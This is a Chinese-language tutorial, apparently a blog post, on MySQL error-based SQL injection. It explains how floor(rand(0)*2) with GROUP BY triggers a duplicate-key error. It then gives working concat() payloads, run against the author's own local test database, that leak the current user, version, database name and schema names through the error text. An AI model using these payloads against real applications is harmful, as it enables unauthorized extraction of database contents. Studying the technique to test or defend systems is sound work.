環(huán)境:mysql 5.1.73
[root@localhost ~]# mysql --version
mysql Ver 14.14 Distrib 5.1.73, for redhat-linux-gnu (x86_64) using readline 5.1
[root@localhost ~]#
1.首先普及幾個(gè)mysql里面的函數(shù)
- floor()
- 在mysql里面floor()函數(shù)是取整(注意:不是四舍五入),下面實(shí)際操作驗(yàn)證一下
mysql> select floor(0.3);
+------------+
| floor(0.3) |
+------------+
| 0 |
+------------+
1 row in set (0.00 sec)
mysql> select floor(0.5);
+------------+
| floor(0.5) |
+------------+
| 0 |
+------------+
1 row in set (0.00 sec)
mysql> select floor(0.8);
+------------+
| floor(0.8) |
+------------+
| 0 |
+------------+
1 row in set (0.00 sec)

mysql> select floor(1.8);
+------------+
| floor(1.8) |
+------------+
| 1 |
+------------+
1 row in set (0.00 sec)
mysql> select floor(1.5);
+------------+
| floor(1.5) |
+------------+
| 1 |
+------------+
1 row in set (0.00 sec)
mysql> select floor(1.3);
+------------+
| floor(1.3) |
+------------+
| 1 |
+------------+
1 row in set (0.00 sec)
mysql>

事實(shí)證明上面說(shuō)的沒(méi)毛病
- group by
group by 我的理解是分組查詢,根據(jù)一個(gè)列或者多個(gè)列,值相等的在一起
下面實(shí)際操作理解一下,首先在數(shù)據(jù)庫(kù)
test里面創(chuàng)建一張test表
mysql> CREATE TABLE IF NOT EXISTS `test`(
-> `id` INT AUTO_INCREMENT PRIMARY KEY,
-> `name` VARCHAR(100) NOT NULL,
-> `number` INT NOT NULL,
-> `content` VARCHAR(100)
-> )ENGINE=InnoDB DEFAULT CHARSET=utf8;
Query OK, 0 rows affected (0.07 sec)
mysql>

- 然后在test表中插入一些數(shù)據(jù)
mysql> insert into test
-> (name,number,content)
-> values
-> ('aa',2,'11'),
-> ('aa',3,'22'),
-> ('bb',4,'33'),
-> ('bb',5,'44'),
-> ('bb',5,'55'),
-> ('cc',6,'66'),
-> ('cc',6,'77'),
-> ('dd',2,'88'),
-> ('ee',2,'99');
Query OK, 9 rows affected (0.00 sec)
Records: 9 Duplicates: 0 Warnings: 0
mysql>

mysql> select * from test;

- 接下來(lái)進(jìn)行我們的探索
mysql> select * from test group by name;

通過(guò)比較,可以看出通過(guò)
group by將字段name相同的進(jìn)行分組查詢,注意這個(gè)地方不要看其他內(nèi)容,單純理解一下這個(gè)分組的意思
- 然后我們接著來(lái)看,上面不是說(shuō)了分組的含義嗎?其實(shí)數(shù)據(jù)庫(kù)在執(zhí)行
group by時(shí)候創(chuàng)建了一張?zhí)摂M的表,是知道name這個(gè)字段相同的有幾條結(jié)果的,如下圖測(cè)試說(shuō)明:

- rand()
- 在mysql里面rand()函數(shù)是隨機(jī)產(chǎn)生一個(gè)范圍(0,1)的隨機(jī)數(shù)**

- 那么有人也許有疑問(wèn),隨機(jī)產(chǎn)生的值有規(guī)律嗎?為了驗(yàn)證猜想,下面找一個(gè)數(shù)據(jù)量比較大的表
information_schema.tables測(cè)試一下,這里我只取30條數(shù)據(jù)實(shí)驗(yàn)
mysql> select rand() from information_schema.tables limit 0,30;

首先可以查看到每一條都是隨機(jī)產(chǎn)生的浮點(diǎn)型值,而且這條sql語(yǔ)句經(jīng)過(guò)多次執(zhí)行發(fā)現(xiàn),每一次執(zhí)行結(jié)果也是隨機(jī)的,由此可以得出此時(shí)rand()是真隨機(jī).
- 這樣看起來(lái)是不是有點(diǎn)累,開(kāi)始的時(shí)候我首先普及了一個(gè)
floor()取整函數(shù),那么接下來(lái)我們可以這樣做,會(huì)更清晰,更直觀.
mysql> select floor(rand()) from information_schema.tables limit 0,30;

這樣看是不是就這清晰直觀明了,但是有人又有疑問(wèn)了吧,為什么都是0呢,不是隨機(jī)的嗎,別忘了我們
rand()隨機(jī)范圍(0,1),也就是隨機(jī)出來(lái)的都是小于1的小數(shù),然后floor()取整后可不都是0嗎,這樣看著方便了,但是卻看不到隨機(jī)性了,那好我們想個(gè)辦法繼續(xù)往下看。
mysql> select floor(rand()*2) from information_schema.tables limit 0,30;

這步看著應(yīng)該不難理解吧,就是將隨機(jī)范圍(0,1)擴(kuò)大2倍變成(0,2),這樣隨機(jī)值是不是有0點(diǎn)多的、1點(diǎn)多的,然后取整就可以清晰簡(jiǎn)單的研究其規(guī)律。經(jīng)過(guò)多次執(zhí)行這條語(yǔ)句發(fā)現(xiàn):是沒(méi)有規(guī)律的。這和之前沒(méi)取整說(shuō)的真隨機(jī)是一樣的。
- 既然
rand()是沒(méi)有規(guī)律的,我們?cè)趺囱芯???bào)錯(cuò)注入我們谷歌百度發(fā)現(xiàn)都是rand(0),那好,我們?cè)谠囈辉囉须S機(jī)因子是什么情況
mysql> select floor(rand(0)*2) from information_schema.tables limit 0,30;

經(jīng)過(guò)多次執(zhí)行這條語(yǔ)句,你會(huì)發(fā)現(xiàn)這是一個(gè)規(guī)律,每次隨機(jī)結(jié)果和這個(gè)一模一樣
2.有了上面講的基礎(chǔ)知識(shí),我們接下來(lái)就真正的研究下報(bào)錯(cuò)注入
- 首先看一條報(bào)錯(cuò)的sql語(yǔ)句
mysql> select count(*) from test.test group by floor(rand(0)*2);

可以看到報(bào)錯(cuò)顯示位
'1',這個(gè)錯(cuò)誤就是由于主鍵不能重復(fù)而暴出的錯(cuò)誤
- 接下來(lái)一步一步分析一下這個(gè)過(guò)程
(1).首先查詢之前會(huì)默認(rèn)建立一張空的虛擬表,如下圖所示:

(2).取第一條記錄,執(zhí)行floor(rand(0)*2),發(fā)現(xiàn)結(jié)果為0(第一次計(jì)算),查詢虛擬表,發(fā)現(xiàn)0的鍵值不存在,則floor(rand(0)*2)會(huì)被再計(jì)算一次,結(jié)果為1(第二次計(jì)算),插入虛表,這時(shí)第一條記錄查詢完畢,如下圖:

(3).查詢第二條記錄,再次計(jì)算floor(rand(0)*2),發(fā)現(xiàn)結(jié)果為1(第三次計(jì)算),查詢虛表,發(fā)現(xiàn)1的鍵值存在,所以floor(rand(0)*2)不會(huì)被計(jì)算第二次,直接count(*)加1,第二條記錄查詢完畢,結(jié)果如下:

(4).查詢第三條記錄,再次計(jì)算floor(rand(0)*2),發(fā)現(xiàn)結(jié)果為0(第4次計(jì)算),查詢虛表,發(fā)現(xiàn)鍵值沒(méi)有0,則數(shù)據(jù)庫(kù)嘗試插入一條新的數(shù)據(jù),在插入數(shù)據(jù)時(shí)floor(rand(0)*2)被再次計(jì)算,作為虛表的主鍵,其值為1(第5次計(jì)算),然而1這個(gè)主鍵已經(jīng)存在于虛擬表中,而新計(jì)算的值也為1(主鍵鍵值必須唯一),所以插入的時(shí)候就直接報(bào)錯(cuò)了。
(5).整個(gè)查詢過(guò)程floor(rand(0)*2)被計(jì)算了5次,這也是開(kāi)始說(shuō)讓記住前5個(gè)值(01101)的緣故了查詢?cè)瓟?shù)據(jù)表3次,所以這就是為什么數(shù)據(jù)表中需要3條數(shù)據(jù),使用該語(yǔ)句才會(huì)報(bào)錯(cuò)的原因。
3.利用mysql報(bào)錯(cuò)手法
- 首先收集基本收據(jù)庫(kù)信息
mysql> select count(*) from test.test group by concat((floor(rand(0)*2)),"~",user());
ERROR 1062 (23000): Duplicate entry '1~root@localhost' for key 'group_key'
mysql> select count(*) from test.test group by concat((floor(rand(0)*2)),"~",version());
ERROR 1062 (23000): Duplicate entry '1~5.1.73-log' for key 'group_key'
mysql> select count(*) from test.test group by concat((floor(rand(0)*2)),"~",database());
ERROR 1062 (23000): Duplicate entry '1~test' for key 'group_key'
mysql>

- 然后試試暴庫(kù)
mysql> select count(*) from test.test group by concat((floor(rand(0)*2)),"~",(select schema_name from information_schema.schemata limit 0,1));
ERROR 1062 (23000): Duplicate entry '1~information_schema' for key 'group_key'
mysql> select count(*) from test.test group by concat((floor(rand(0)*2)),"~",(select schema_name from information_schema.schemata limit 1,1));
ERROR 1062 (23000): Duplicate entry '1~aaa' for key 'group_key'
mysql> select count(*) from test.test group by concat((floor(rand(0)*2)),"~",(select schema_name from information_schema.schemata limit 2,1));
ERROR 1062 (23000): Duplicate entry '1~bbb' for key 'group_key'
mysql> select count(*) from test.test group by concat((floor(rand(0)*2)),"~",(select schema_name from information_schema.schemata limit 3,1));
ERROR 1062 (23000): Duplicate entry '1~challenges' for key 'group_key'
mysql>

- ok沒(méi)毛病,就是這樣利用的往下就不再多說(shuō)。